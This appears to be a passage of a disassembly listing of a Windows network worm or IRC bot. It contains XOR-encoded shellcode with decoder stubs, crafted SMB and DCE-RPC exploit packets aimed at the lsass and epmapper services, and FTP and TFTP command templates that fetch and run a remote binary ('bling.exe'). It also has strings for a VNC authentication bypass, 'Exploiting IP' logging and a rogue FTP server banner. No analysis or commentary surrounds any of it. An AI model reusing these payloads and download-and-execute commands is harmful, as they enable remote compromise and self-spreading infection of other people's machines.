loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset locret_580044+2 ; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset locret_580044+2
		dd offset locret_580044+2
		dd offset loc_42004C+2
		dd offset locret_580044+2
		dd offset locret_580044+2
		dd offset locret_580044+2
		dd offset locret_580044+2
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
